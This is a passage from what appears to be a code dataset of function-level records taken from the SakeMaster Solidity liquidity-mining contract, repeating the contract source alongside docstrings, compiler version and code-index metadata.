lpTokenPID[address(_lpToken)] = poolInfo.length; } // Update the given pool's SAKE allocation point. Can only be called by the owner. function set(uint256 _pid, uint256 _allocPoint, bool _withUpdate) public onlyOwner { if (_withUpdate) { massUpdatePools(); } totalAllocPoint = totalAllocPoint.sub(poolInfo[_pid].allocPoint).add(_allocPoint); poolInfo[_pid].allocPoint = _allocPoint; } // Set the migrator contract. Can only be called by the owner. function setMigrator(IMigratorChef _migrator) public onlyOwner { migrator = _migrator; } // Handover the saketoken mintage right. function handoverSakeMintage(address newOwner) public onlyOwner { sake.transferOwnership(newOwner); } // Migrate lp token to another lp contract. Can be called by anyone. We trust that migrator contract is good. function migrate(uint256 _pid) public { require(address(migrator) != address(0), "migrate: no migrator"); PoolInfo storage pool = poolInfo[_pid]; IERC20 lpToken = pool.lpToken; uint256 bal = lpToken.balanceOf(address(this)); lpToken.safeApprove(address(migrator), bal); IERC20 newLpToken = migrator.migrate(lpToken); require(bal == newLpToken.balanceOf(address(this)), "migrate: bad"); pool.lpToken = newLpToken; } // Return reward multiplier over the given _from to _to block. function getMultiplier(uint256 _from, uint256 _to) public view returns (uint256) { uint256 _toFinal = _to > mintEndBlock ? mintEndBlock : _to; if (_toFinal <= betaTestEndBlock) { return _toFinal.sub(_from); }else if (_from >= mintEndBlock) { return 0; } else if (_toFinal <= bonusEndBlock) { if (_from < betaTestEndBlock) { return betaTestEndBlock.sub(_from).add(_toFinal.sub(betaTestEndBlock).mul(BONUSONE_MULTIPLIER)); } else { return _toFinal.sub(_from).mul(BONUSONE_MULTIPLIER); } } else { if (_from < betaTestEndBlock) { return betaTestEndBlock.sub(_from).add(bonusEndBlock.sub(betaTestEndBlock).mul(BONUSONE_MULTIPLIER)).add( (_toFinal.sub(bonusEndBlock).mul(BONUSTWO_MULTIPLIER))); } else if (betaTestEndBlock <= _from && _from < bonusEndBlock) { return bonusEndBlock.sub(_from).mul(BONUSONE_MULTIPLIER).add(_toFinal.sub(bonusEndBlock).mul(BONUSTWO_MULTIPLIER)); } else { return _toFinal.sub(_from).mul(BONUSTWO_MULTIPLIER); } } } // View function to see pending SAKEs on frontend. function pendingSake(uint256 _pid, address _user) external view returns (uint256) { PoolInfo storage pool = poolInfo[_pid]; UserInfo storage user = userInfo[_pid][_user]; uint256 accSakePerShare = pool.accSakePerShare; uint256 lpSupply = pool.lpToken.balanceOf(address(this)); if (block.number > pool.lastRewardBlock && lpSupply != 0) { uint256 multiplier = getMultiplier(pool.lastRewardBlock, block.number); uint256 sakeReward = multiplier.mul(sakePerBlock).mul(pool.allocPoint).div(totalAllocPoint); accSakePerShare = accSakePerShare.add(sakeReward.mul(1e12).div(lpSupply)); } return user.amount.mul(accSakePerShare).div(1e12).sub(user.rewardDebt); } // Update reward vairables for all pools. Be careful of gas spending! function massUpdatePools() public { uint256 length = poolInfo.length; for (uint256 pid = 0; pid < length; ++pid) { updatePool(pid); } } // Update reward variables of the given pool to be up-to-date. function updatePool(uint256 _pid) public { PoolInfo storage pool = poolInfo[_pid]; if (block.number <= pool.lastRewardBlock) { return; } uint256 lpSupply = pool.lpToken.balanceOf(address(this)); if (lpSupply == 0) { pool.lastRewardBlock = block.number; return; } uint256 multiplier = getMultiplier(pool.lastRewardBlock, block.number); if (multiplier == 0) { pool.lastRewardBlock = block.number; return; } uint256 sakeReward = multiplier.mul(sakePerBlock).mul(pool.allocPoint).div(totalAllocPoint); sake.mint(devaddr, sakeReward.div(15)); sake.mint(address(this), sakeReward); pool.accSakePerShare = pool.accSakePerShare.add(sakeReward.mul(1e12).div(lpSupply)); pool.lastRewardBlock = block.number; } // Deposit LP tokens to SakeMaster for SAKE allocation. function deposit(uint256 _pid, uint256 _amount) public { PoolInfo storage pool = poolInfo[_pid]; UserInfo storage user = userInfo[_pid][msg.sender]; updatePool(_pid); uint256 pending = user.amount.mul(pool.accSakePerShare).div(1e12).sub(user.rewardDebt); user.amount = user.amount.add(_amount); user.rewardDebt = user.amount.mul(pool.accSakePerShare).div(1e12); if (pending > 0) safeSakeTransfer(msg.sender, pending); pool.lpToken.safeTransferFrom(address(msg.sender), address(this), _amount); emit Deposit(msg.sender, _pid, _amount); } // Withdraw LP tokens from SakeMaster. function withdraw(uint256 _pid, uint256 _amount) public { PoolInfo storage pool = poolInfo[_pid]; UserInfo storage user = userInfo[_pid][msg.sender]; require(user.amount >= _amount, "withdraw: not good"); updatePool(_pid); uint256 pending = user.amount.mul(pool.accSakePerShare).div(1e12).sub(user.rewardDebt); user.amount = user.amount.sub(_amount); user.rewardDebt = user.amount.mul(pool.accSakePerShare).div(1e12); safeSakeTransfer(msg.sender, pending); pool.lpToken.safeTransfer(address(msg.sender), _amount); emit Withdraw(msg.sender, _pid, _amount); } // Withdraw without caring about rewards. EMERGENCY ONLY. function emergencyWithdraw(uint256 _pid) public { PoolInfo storage pool = poolInfo[_pid]; UserInfo storage user = userInfo[_pid][msg.sender]; require(user.amount > 0, "emergencyWithdraw: not good"); uint256 _amount = user.amount; user.amount = 0; user.rewardDebt = 0; pool.lpToken.safeTransfer(address(msg.sender), _amount); emit EmergencyWithdraw(msg.sender, _pid, _amount); } // Safe sake transfer function, just in case if rounding error causes pool to not have enough SAKEs. function safeSakeTransfer(address _to, uint256 _amount) internal { uint256 sakeBal = sake.balanceOf(address(this)); if (_amount > sakeBal) { sake.transfer(_to, sakeBal); } else { sake.transfer(_to, _amount); } } // Update dev address by the previous dev. function dev(address _devaddr) public { require(msg.sender == devaddr, "dev: wut?"); devaddr = _devaddr; } }
// SakeMaster is the master of Sake. He can make Sake and he is a fair guy. // // Note that it's ownable and the owner wields tremendous power. The ownership // will be transferred to a governance smart contract once SAKE is sufficiently // distributed and the community can show to govern itself. // // Have fun reading it. Hopefully it's bug-free. God bless.
LineComment
set
function set(uint256 _pid, uint256 _allocPoint, bool _withUpdate) public onlyOwner { if (_withUpdate) { massUpdatePools(); } totalAllocPoint = totalAllocPoint.sub(poolInfo[_pid].allocPoint).add(_allocPoint); poolInfo[_pid].allocPoint = _allocPoint; }
// Update the given pool's SAKE allocation point. Can only be called by the owner.
LineComment
v0.6.12+commit.27d51765
None
ipfs://5d4700996a40376e16d7d09f63c9d6b8ef633b28dd8203c5297833f9286dce20
{ "func_code_index": [ 4738, 5047 ] }
3,692
SakeVoterCalc
contracts/SakeMaster.sol
0x44d84a9da47fd8f4a06ad66b197d1441fca53f92
Solidity
SakeMaster
contract SakeMaster is Ownable { using SafeMath for uint256; using SafeERC20 for IERC20; // Info of each user. struct UserInfo { uint256 amount; // How many LP tokens the user has provided. uint256 rewardDebt; // Reward debt. See explanation below. // // We do some fancy math here. Basically, any point in time, the amount of SAKEs // entitled to a user but is pending to be distributed is: // // pending reward = (user.amount * pool.accSakePerShare) - user.rewardDebt // // Whenever a user deposits or withdraws LP tokens to a pool. Here's what happens: // 1. The pool's `accSakePerShare` (and `lastRewardBlock`) gets updated. // 2. User receives the pending reward sent to his/her address. // 3. User's `amount` gets updated. // 4. User's `rewardDebt` gets updated. } // Info of each pool. struct PoolInfo { IERC20 lpToken; // Address of LP token contract. uint256 allocPoint; // How many allocation points assigned to this pool. SAKEs to distribute per block. uint256 lastRewardBlock; // Last block number that SAKEs distribution occurs. uint256 accSakePerShare; // Accumulated SAKEs per share, times 1e12. See below. } // The SAKE TOKEN! SakeToken public sake; // Dev address. address public devaddr; // Block number when beta test period ends. uint256 public betaTestEndBlock; // Block number when bonus SAKE period ends. uint256 public bonusEndBlock; // Block number when mint SAKE period ends. uint256 public mintEndBlock; // SAKE tokens created per block. uint256 public sakePerBlock; // Bonus muliplier for 5~20 days sake makers. uint256 public constant BONUSONE_MULTIPLIER = 20; // Bonus muliplier for 20~35 sake makers. uint256 public constant BONUSTWO_MULTIPLIER = 2; // beta test block num,about 5 days. uint256 public constant BETATEST_BLOCKNUM = 35000; // Bonus block num,about 15 days. uint256 public constant BONUS_BLOCKNUM = 100000; // mint end block num,about 30 days. uint256 public constant MINTEND_BLOCKNUM = 200000; // The migrator contract. It has a lot of power. Can only be set through governance (owner). IMigratorChef public migrator; // Info of each pool. PoolInfo[] public poolInfo; // Info of each user that stakes LP tokens. mapping(uint256 => mapping(address => UserInfo)) public userInfo; // Record whether the pair has been added. mapping(address => uint256) public lpTokenPID; // Total allocation poitns. Must be the sum of all allocation points in all pools. uint256 public totalAllocPoint = 0; // The block number when SAKE mining starts. uint256 public startBlock; event Deposit(address indexed user, uint256 indexed pid, uint256 amount); event Withdraw(address indexed user, uint256 indexed pid, uint256 amount); event EmergencyWithdraw( address indexed user, uint256 indexed pid, uint256 amount ); constructor( SakeToken _sake, address _devaddr, uint256 _sakePerBlock, uint256 _startBlock ) public { sake = _sake; devaddr = _devaddr; sakePerBlock = _sakePerBlock; startBlock = _startBlock; betaTestEndBlock = startBlock.add(BETATEST_BLOCKNUM); bonusEndBlock = startBlock.add(BONUS_BLOCKNUM).add(BETATEST_BLOCKNUM); mintEndBlock = startBlock.add(MINTEND_BLOCKNUM).add(BETATEST_BLOCKNUM); } function poolLength() external view returns (uint256) { return poolInfo.length; } // Add a new lp to the pool. Can only be called by the owner. // XXX DO NOT add the same LP token more than once. Rewards will be messed up if you do. function add(uint256 _allocPoint, IERC20 _lpToken, bool _withUpdate) public onlyOwner { if (_withUpdate) { massUpdatePools(); } require(lpTokenPID[address(_lpToken)] == 0, "SakeMaster:duplicate add."); uint256 lastRewardBlock = block.number > startBlock ? block.number : startBlock; totalAllocPoint = totalAllocPoint.add(_allocPoint); poolInfo.push( PoolInfo({ lpToken: _lpToken, allocPoint: _allocPoint, lastRewardBlock: lastRewardBlock, accSakePerShare: 0 }) ); lpTokenPID[address(_lpToken)] = poolInfo.length; } // Update the given pool's SAKE allocation point. Can only be called by the owner. function set(uint256 _pid, uint256 _allocPoint, bool _withUpdate) public onlyOwner { if (_withUpdate) { massUpdatePools(); } totalAllocPoint = totalAllocPoint.sub(poolInfo[_pid].allocPoint).add(_allocPoint); poolInfo[_pid].allocPoint = _allocPoint; } // Set the migrator contract. Can only be called by the owner. function setMigrator(IMigratorChef _migrator) public onlyOwner { migrator = _migrator; } // Handover the saketoken mintage right. function handoverSakeMintage(address newOwner) public onlyOwner { sake.transferOwnership(newOwner); } // Migrate lp token to another lp contract. Can be called by anyone. We trust that migrator contract is good. function migrate(uint256 _pid) public { require(address(migrator) != address(0), "migrate: no migrator"); PoolInfo storage pool = poolInfo[_pid]; IERC20 lpToken = pool.lpToken; uint256 bal = lpToken.balanceOf(address(this)); lpToken.safeApprove(address(migrator), bal); IERC20 newLpToken = migrator.migrate(lpToken); require(bal == newLpToken.balanceOf(address(this)), "migrate: bad"); pool.lpToken = newLpToken; } // Return reward multiplier over the given _from to _to block. function getMultiplier(uint256 _from, uint256 _to) public view returns (uint256) { uint256 _toFinal = _to > mintEndBlock ? mintEndBlock : _to; if (_toFinal <= betaTestEndBlock) { return _toFinal.sub(_from); }else if (_from >= mintEndBlock) { return 0; } else if (_toFinal <= bonusEndBlock) { if (_from < betaTestEndBlock) { return betaTestEndBlock.sub(_from).add(_toFinal.sub(betaTestEndBlock).mul(BONUSONE_MULTIPLIER)); } else { return _toFinal.sub(_from).mul(BONUSONE_MULTIPLIER); } } else { if (_from < betaTestEndBlock) { return betaTestEndBlock.sub(_from).add(bonusEndBlock.sub(betaTestEndBlock).mul(BONUSONE_MULTIPLIER)).add( (_toFinal.sub(bonusEndBlock).mul(BONUSTWO_MULTIPLIER))); } else if (betaTestEndBlock <= _from && _from < bonusEndBlock) { return bonusEndBlock.sub(_from).mul(BONUSONE_MULTIPLIER).add(_toFinal.sub(bonusEndBlock).mul(BONUSTWO_MULTIPLIER)); } else { return _toFinal.sub(_from).mul(BONUSTWO_MULTIPLIER); } } } // View function to see pending SAKEs on frontend. function pendingSake(uint256 _pid, address _user) external view returns (uint256) { PoolInfo storage pool = poolInfo[_pid]; UserInfo storage user = userInfo[_pid][_user]; uint256 accSakePerShare = pool.accSakePerShare; uint256 lpSupply = pool.lpToken.balanceOf(address(this)); if (block.number > pool.lastRewardBlock && lpSupply != 0) { uint256 multiplier = getMultiplier(pool.lastRewardBlock, block.number); uint256 sakeReward = multiplier.mul(sakePerBlock).mul(pool.allocPoint).div(totalAllocPoint); accSakePerShare = accSakePerShare.add(sakeReward.mul(1e12).div(lpSupply)); } return user.amount.mul(accSakePerShare).div(1e12).sub(user.rewardDebt); } // Update reward vairables for all pools. Be careful of gas spending! function massUpdatePools() public { uint256 length = poolInfo.length; for (uint256 pid = 0; pid < length; ++pid) { updatePool(pid); } } // Update reward variables of the given pool to be up-to-date. function updatePool(uint256 _pid) public { PoolInfo storage pool = poolInfo[_pid]; if (block.number <= pool.lastRewardBlock) { return; } uint256 lpSupply = pool.lpToken.balanceOf(address(this)); if (lpSupply == 0) { pool.lastRewardBlock = block.number; return; } uint256 multiplier = getMultiplier(pool.lastRewardBlock, block.number); if (multiplier == 0) { pool.lastRewardBlock = block.number; return; } uint256 sakeReward = multiplier.mul(sakePerBlock).mul(pool.allocPoint).div(totalAllocPoint); sake.mint(devaddr, sakeReward.div(15)); sake.mint(address(this), sakeReward); pool.accSakePerShare = pool.accSakePerShare.add(sakeReward.mul(1e12).div(lpSupply)); pool.lastRewardBlock = block.number; } // Deposit LP tokens to SakeMaster for SAKE allocation. function deposit(uint256 _pid, uint256 _amount) public { PoolInfo storage pool = poolInfo[_pid]; UserInfo storage user = userInfo[_pid][msg.sender]; updatePool(_pid); uint256 pending = user.amount.mul(pool.accSakePerShare).div(1e12).sub(user.rewardDebt); user.amount = user.amount.add(_amount); user.rewardDebt = user.amount.mul(pool.accSakePerShare).div(1e12); if (pending > 0) safeSakeTransfer(msg.sender, pending); pool.lpToken.safeTransferFrom(address(msg.sender), address(this), _amount); emit Deposit(msg.sender, _pid, _amount); } // Withdraw LP tokens from SakeMaster. function withdraw(uint256 _pid, uint256 _amount) public { PoolInfo storage pool = poolInfo[_pid]; UserInfo storage user = userInfo[_pid][msg.sender]; require(user.amount >= _amount, "withdraw: not good"); updatePool(_pid); uint256 pending = user.amount.mul(pool.accSakePerShare).div(1e12).sub(user.rewardDebt); user.amount = user.amount.sub(_amount); user.rewardDebt = user.amount.mul(pool.accSakePerShare).div(1e12); safeSakeTransfer(msg.sender, pending); pool.lpToken.safeTransfer(address(msg.sender), _amount); emit Withdraw(msg.sender, _pid, _amount); } // Withdraw without caring about rewards. EMERGENCY ONLY. function emergencyWithdraw(uint256 _pid) public { PoolInfo storage pool = poolInfo[_pid]; UserInfo storage user = userInfo[_pid][msg.sender]; require(user.amount > 0, "emergencyWithdraw: not good"); uint256 _amount = user.amount; user.amount = 0; user.rewardDebt = 0; pool.lpToken.safeTransfer(address(msg.sender), _amount); emit EmergencyWithdraw(msg.sender, _pid, _amount); } // Safe sake transfer function, just in case if rounding error causes pool to not have enough SAKEs. function safeSakeTransfer(address _to, uint256 _amount) internal { uint256 sakeBal = sake.balanceOf(address(this)); if (_amount > sakeBal) { sake.transfer(_to, sakeBal); } else { sake.transfer(_to, _amount); } } // Update dev address by the previous dev. function dev(address _devaddr) public { require(msg.sender == devaddr, "dev: wut?"); devaddr = _devaddr; } }
// SakeMaster is the master of Sake. He can make Sake and he is a fair guy. // // Note that it's ownable and the owner wields tremendous power. The ownership // will be transferred to a governance smart contract once SAKE is sufficiently // distributed and the community can show to govern itself. // // Have fun reading it. Hopefully it's bug-free. God bless.
LineComment
setMigrator
function setMigrator(IMigratorChef _migrator) public onlyOwner { migrator = _migrator; }
// Set the migrator contract. Can only be called by the owner.
LineComment
v0.6.12+commit.27d51765
None
ipfs://5d4700996a40376e16d7d09f63c9d6b8ef633b28dd8203c5297833f9286dce20
{ "func_code_index": [ 5118, 5225 ] }
3,693
SakeVoterCalc
contracts/SakeMaster.sol
0x44d84a9da47fd8f4a06ad66b197d1441fca53f92
Solidity
SakeMaster
contract SakeMaster is Ownable { using SafeMath for uint256; using SafeERC20 for IERC20; // Info of each user. struct UserInfo { uint256 amount; // How many LP tokens the user has provided. uint256 rewardDebt; // Reward debt. See explanation below. // // We do some fancy math here. Basically, any point in time, the amount of SAKEs // entitled to a user but is pending to be distributed is: // // pending reward = (user.amount * pool.accSakePerShare) - user.rewardDebt // // Whenever a user deposits or withdraws LP tokens to a pool. Here's what happens: // 1. The pool's `accSakePerShare` (and `lastRewardBlock`) gets updated. // 2. User receives the pending reward sent to his/her address. // 3. User's `amount` gets updated. // 4. User's `rewardDebt` gets updated. } // Info of each pool. struct PoolInfo { IERC20 lpToken; // Address of LP token contract. uint256 allocPoint; // How many allocation points assigned to this pool. SAKEs to distribute per block. uint256 lastRewardBlock; // Last block number that SAKEs distribution occurs. uint256 accSakePerShare; // Accumulated SAKEs per share, times 1e12. See below. } // The SAKE TOKEN! SakeToken public sake; // Dev address. address public devaddr; // Block number when beta test period ends. uint256 public betaTestEndBlock; // Block number when bonus SAKE period ends. uint256 public bonusEndBlock; // Block number when mint SAKE period ends. uint256 public mintEndBlock; // SAKE tokens created per block. uint256 public sakePerBlock; // Bonus muliplier for 5~20 days sake makers. uint256 public constant BONUSONE_MULTIPLIER = 20; // Bonus muliplier for 20~35 sake makers. uint256 public constant BONUSTWO_MULTIPLIER = 2; // beta test block num,about 5 days. uint256 public constant BETATEST_BLOCKNUM = 35000; // Bonus block num,about 15 days. uint256 public constant BONUS_BLOCKNUM = 100000; // mint end block num,about 30 days. uint256 public constant MINTEND_BLOCKNUM = 200000; // The migrator contract. It has a lot of power. Can only be set through governance (owner). IMigratorChef public migrator; // Info of each pool. PoolInfo[] public poolInfo; // Info of each user that stakes LP tokens. mapping(uint256 => mapping(address => UserInfo)) public userInfo; // Record whether the pair has been added. mapping(address => uint256) public lpTokenPID; // Total allocation poitns. Must be the sum of all allocation points in all pools. uint256 public totalAllocPoint = 0; // The block number when SAKE mining starts. uint256 public startBlock; event Deposit(address indexed user, uint256 indexed pid, uint256 amount); event Withdraw(address indexed user, uint256 indexed pid, uint256 amount); event EmergencyWithdraw( address indexed user, uint256 indexed pid, uint256 amount ); constructor( SakeToken _sake, address _devaddr, uint256 _sakePerBlock, uint256 _startBlock ) public { sake = _sake; devaddr = _devaddr; sakePerBlock = _sakePerBlock; startBlock = _startBlock; betaTestEndBlock = startBlock.add(BETATEST_BLOCKNUM); bonusEndBlock = startBlock.add(BONUS_BLOCKNUM).add(BETATEST_BLOCKNUM); mintEndBlock = startBlock.add(MINTEND_BLOCKNUM).add(BETATEST_BLOCKNUM); } function poolLength() external view returns (uint256) { return poolInfo.length; } // Add a new lp to the pool. Can only be called by the owner. // XXX DO NOT add the same LP token more than once. Rewards will be messed up if you do. function add(uint256 _allocPoint, IERC20 _lpToken, bool _withUpdate) public onlyOwner { if (_withUpdate) { massUpdatePools(); } require(lpTokenPID[address(_lpToken)] == 0, "SakeMaster:duplicate add."); uint256 lastRewardBlock = block.number > startBlock ? block.number : startBlock; totalAllocPoint = totalAllocPoint.add(_allocPoint); poolInfo.push( PoolInfo({ lpToken: _lpToken, allocPoint: _allocPoint, lastRewardBlock: lastRewardBlock, accSakePerShare: 0 }) ); lpTokenPID[address(_lpToken)] = poolInfo.length; } // Update the given pool's SAKE allocation point. Can only be called by the owner. function set(uint256 _pid, uint256 _allocPoint, bool _withUpdate) public onlyOwner { if (_withUpdate) { massUpdatePools(); } totalAllocPoint = totalAllocPoint.sub(poolInfo[_pid].allocPoint).add(_allocPoint); poolInfo[_pid].allocPoint = _allocPoint; } // Set the migrator contract. Can only be called by the owner. function setMigrator(IMigratorChef _migrator) public onlyOwner { migrator = _migrator; } // Handover the saketoken mintage right. function handoverSakeMintage(address newOwner) public onlyOwner { sake.transferOwnership(newOwner); } // Migrate lp token to another lp contract. Can be called by anyone. We trust that migrator contract is good. function migrate(uint256 _pid) public { require(address(migrator) != address(0), "migrate: no migrator"); PoolInfo storage pool = poolInfo[_pid]; IERC20 lpToken = pool.lpToken; uint256 bal = lpToken.balanceOf(address(this)); lpToken.safeApprove(address(migrator), bal); IERC20 newLpToken = migrator.migrate(lpToken); require(bal == newLpToken.balanceOf(address(this)), "migrate: bad"); pool.lpToken = newLpToken; } // Return reward multiplier over the given _from to _to block. function getMultiplier(uint256 _from, uint256 _to) public view returns (uint256) { uint256 _toFinal = _to > mintEndBlock ? mintEndBlock : _to; if (_toFinal <= betaTestEndBlock) { return _toFinal.sub(_from); }else if (_from >= mintEndBlock) { return 0; } else if (_toFinal <= bonusEndBlock) { if (_from < betaTestEndBlock) { return betaTestEndBlock.sub(_from).add(_toFinal.sub(betaTestEndBlock).mul(BONUSONE_MULTIPLIER)); } else { return _toFinal.sub(_from).mul(BONUSONE_MULTIPLIER); } } else { if (_from < betaTestEndBlock) { return betaTestEndBlock.sub(_from).add(bonusEndBlock.sub(betaTestEndBlock).mul(BONUSONE_MULTIPLIER)).add( (_toFinal.sub(bonusEndBlock).mul(BONUSTWO_MULTIPLIER))); } else if (betaTestEndBlock <= _from && _from < bonusEndBlock) { return bonusEndBlock.sub(_from).mul(BONUSONE_MULTIPLIER).add(_toFinal.sub(bonusEndBlock).mul(BONUSTWO_MULTIPLIER)); } else { return _toFinal.sub(_from).mul(BONUSTWO_MULTIPLIER); } } } // View function to see pending SAKEs on frontend. function pendingSake(uint256 _pid, address _user) external view returns (uint256) { PoolInfo storage pool = poolInfo[_pid]; UserInfo storage user = userInfo[_pid][_user]; uint256 accSakePerShare = pool.accSakePerShare; uint256 lpSupply = pool.lpToken.balanceOf(address(this)); if (block.number > pool.lastRewardBlock && lpSupply != 0) { uint256 multiplier = getMultiplier(pool.lastRewardBlock, block.number); uint256 sakeReward = multiplier.mul(sakePerBlock).mul(pool.allocPoint).div(totalAllocPoint); accSakePerShare = accSakePerShare.add(sakeReward.mul(1e12).div(lpSupply)); } return user.amount.mul(accSakePerShare).div(1e12).sub(user.rewardDebt); } // Update reward vairables for all pools. Be careful of gas spending! function massUpdatePools() public { uint256 length = poolInfo.length; for (uint256 pid = 0; pid < length; ++pid) { updatePool(pid); } } // Update reward variables of the given pool to be up-to-date. function updatePool(uint256 _pid) public { PoolInfo storage pool = poolInfo[_pid]; if (block.number <= pool.lastRewardBlock) { return; } uint256 lpSupply = pool.lpToken.balanceOf(address(this)); if (lpSupply == 0) { pool.lastRewardBlock = block.number; return; } uint256 multiplier = getMultiplier(pool.lastRewardBlock, block.number); if (multiplier == 0) { pool.lastRewardBlock = block.number; return; } uint256 sakeReward = multiplier.mul(sakePerBlock).mul(pool.allocPoint).div(totalAllocPoint); sake.mint(devaddr, sakeReward.div(15)); sake.mint(address(this), sakeReward); pool.accSakePerShare = pool.accSakePerShare.add(sakeReward.mul(1e12).div(lpSupply)); pool.lastRewardBlock = block.number; } // Deposit LP tokens to SakeMaster for SAKE allocation. function deposit(uint256 _pid, uint256 _amount) public { PoolInfo storage pool = poolInfo[_pid]; UserInfo storage user = userInfo[_pid][msg.sender]; updatePool(_pid); uint256 pending = user.amount.mul(pool.accSakePerShare).div(1e12).sub(user.rewardDebt); user.amount = user.amount.add(_amount); user.rewardDebt = user.amount.mul(pool.accSakePerShare).div(1e12); if (pending > 0) safeSakeTransfer(msg.sender, pending); pool.lpToken.safeTransferFrom(address(msg.sender), address(this), _amount); emit Deposit(msg.sender, _pid, _amount); } // Withdraw LP tokens from SakeMaster. function withdraw(uint256 _pid, uint256 _amount) public { PoolInfo storage pool = poolInfo[_pid]; UserInfo storage user = userInfo[_pid][msg.sender]; require(user.amount >= _amount, "withdraw: not good"); updatePool(_pid); uint256 pending = user.amount.mul(pool.accSakePerShare).div(1e12).sub(user.rewardDebt); user.amount = user.amount.sub(_amount); user.rewardDebt = user.amount.mul(pool.accSakePerShare).div(1e12); safeSakeTransfer(msg.sender, pending); pool.lpToken.safeTransfer(address(msg.sender), _amount); emit Withdraw(msg.sender, _pid, _amount); } // Withdraw without caring about rewards. EMERGENCY ONLY. function emergencyWithdraw(uint256 _pid) public { PoolInfo storage pool = poolInfo[_pid]; UserInfo storage user = userInfo[_pid][msg.sender]; require(user.amount > 0, "emergencyWithdraw: not good"); uint256 _amount = user.amount; user.amount = 0; user.rewardDebt = 0; pool.lpToken.safeTransfer(address(msg.sender), _amount); emit EmergencyWithdraw(msg.sender, _pid, _amount); } // Safe sake transfer function, just in case if rounding error causes pool to not have enough SAKEs. function safeSakeTransfer(address _to, uint256 _amount) internal { uint256 sakeBal = sake.balanceOf(address(this)); if (_amount > sakeBal) { sake.transfer(_to, sakeBal); } else { sake.transfer(_to, _amount); } } // Update dev address by the previous dev. function dev(address _devaddr) public { require(msg.sender == devaddr, "dev: wut?"); devaddr = _devaddr; } }
// SakeMaster is the master of Sake. He can make Sake and he is a fair guy. // // Note that it's ownable and the owner wields tremendous power. The ownership // will be transferred to a governance smart contract once SAKE is sufficiently // distributed and the community can show to govern itself. // // Have fun reading it. Hopefully it's bug-free. God bless.
LineComment
handoverSakeMintage
function handoverSakeMintage(address newOwner) public onlyOwner { sake.transferOwnership(newOwner); }
// Handover the saketoken mintage right.
LineComment
v0.6.12+commit.27d51765
None
ipfs://5d4700996a40376e16d7d09f63c9d6b8ef633b28dd8203c5297833f9286dce20
{ "func_code_index": [ 5274, 5394 ] }
3,694
SakeVoterCalc
contracts/SakeMaster.sol
0x44d84a9da47fd8f4a06ad66b197d1441fca53f92
Solidity
SakeMaster
contract SakeMaster is Ownable { using SafeMath for uint256; using SafeERC20 for IERC20; // Info of each user. struct UserInfo { uint256 amount; // How many LP tokens the user has provided. uint256 rewardDebt; // Reward debt. See explanation below. // // We do some fancy math here. Basically, any point in time, the amount of SAKEs // entitled to a user but is pending to be distributed is: // // pending reward = (user.amount * pool.accSakePerShare) - user.rewardDebt // // Whenever a user deposits or withdraws LP tokens to a pool. Here's what happens: // 1. The pool's `accSakePerShare` (and `lastRewardBlock`) gets updated. // 2. User receives the pending reward sent to his/her address. // 3. User's `amount` gets updated. // 4. User's `rewardDebt` gets updated. } // Info of each pool. struct PoolInfo { IERC20 lpToken; // Address of LP token contract. uint256 allocPoint; // How many allocation points assigned to this pool. SAKEs to distribute per block. uint256 lastRewardBlock; // Last block number that SAKEs distribution occurs. uint256 accSakePerShare; // Accumulated SAKEs per share, times 1e12. See below. } // The SAKE TOKEN! SakeToken public sake; // Dev address. address public devaddr; // Block number when beta test period ends. uint256 public betaTestEndBlock; // Block number when bonus SAKE period ends. uint256 public bonusEndBlock; // Block number when mint SAKE period ends. uint256 public mintEndBlock; // SAKE tokens created per block. uint256 public sakePerBlock; // Bonus muliplier for 5~20 days sake makers. uint256 public constant BONUSONE_MULTIPLIER = 20; // Bonus muliplier for 20~35 sake makers. uint256 public constant BONUSTWO_MULTIPLIER = 2; // beta test block num,about 5 days. uint256 public constant BETATEST_BLOCKNUM = 35000; // Bonus block num,about 15 days. uint256 public constant BONUS_BLOCKNUM = 100000; // mint end block num,about 30 days. uint256 public constant MINTEND_BLOCKNUM = 200000; // The migrator contract. It has a lot of power. Can only be set through governance (owner). IMigratorChef public migrator; // Info of each pool. PoolInfo[] public poolInfo; // Info of each user that stakes LP tokens. mapping(uint256 => mapping(address => UserInfo)) public userInfo; // Record whether the pair has been added. mapping(address => uint256) public lpTokenPID; // Total allocation poitns. Must be the sum of all allocation points in all pools. uint256 public totalAllocPoint = 0; // The block number when SAKE mining starts. uint256 public startBlock; event Deposit(address indexed user, uint256 indexed pid, uint256 amount); event Withdraw(address indexed user, uint256 indexed pid, uint256 amount); event EmergencyWithdraw( address indexed user, uint256 indexed pid, uint256 amount ); constructor( SakeToken _sake, address _devaddr, uint256 _sakePerBlock, uint256 _startBlock ) public { sake = _sake; devaddr = _devaddr; sakePerBlock = _sakePerBlock; startBlock = _startBlock; betaTestEndBlock = startBlock.add(BETATEST_BLOCKNUM); bonusEndBlock = startBlock.add(BONUS_BLOCKNUM).add(BETATEST_BLOCKNUM); mintEndBlock = startBlock.add(MINTEND_BLOCKNUM).add(BETATEST_BLOCKNUM); } function poolLength() external view returns (uint256) { return poolInfo.length; } // Add a new lp to the pool. Can only be called by the owner. // XXX DO NOT add the same LP token more than once. Rewards will be messed up if you do. function add(uint256 _allocPoint, IERC20 _lpToken, bool _withUpdate) public onlyOwner { if (_withUpdate) { massUpdatePools(); } require(lpTokenPID[address(_lpToken)] == 0, "SakeMaster:duplicate add."); uint256 lastRewardBlock = block.number > startBlock ? block.number : startBlock; totalAllocPoint = totalAllocPoint.add(_allocPoint); poolInfo.push( PoolInfo({ lpToken: _lpToken, allocPoint: _allocPoint, lastRewardBlock: lastRewardBlock, accSakePerShare: 0 }) ); lpTokenPID[address(_lpToken)] = poolInfo.length; } // Update the given pool's SAKE allocation point. Can only be called by the owner. function set(uint256 _pid, uint256 _allocPoint, bool _withUpdate) public onlyOwner { if (_withUpdate) { massUpdatePools(); } totalAllocPoint = totalAllocPoint.sub(poolInfo[_pid].allocPoint).add(_allocPoint); poolInfo[_pid].allocPoint = _allocPoint; } // Set the migrator contract. Can only be called by the owner. function setMigrator(IMigratorChef _migrator) public onlyOwner { migrator = _migrator; } // Handover the saketoken mintage right. function handoverSakeMintage(address newOwner) public onlyOwner { sake.transferOwnership(newOwner); } // Migrate lp token to another lp contract. Can be called by anyone. We trust that migrator contract is good. function migrate(uint256 _pid) public { require(address(migrator) != address(0), "migrate: no migrator"); PoolInfo storage pool = poolInfo[_pid]; IERC20 lpToken = pool.lpToken; uint256 bal = lpToken.balanceOf(address(this)); lpToken.safeApprove(address(migrator), bal); IERC20 newLpToken = migrator.migrate(lpToken); require(bal == newLpToken.balanceOf(address(this)), "migrate: bad"); pool.lpToken = newLpToken; } // Return reward multiplier over the given _from to _to block. function getMultiplier(uint256 _from, uint256 _to) public view returns (uint256) { uint256 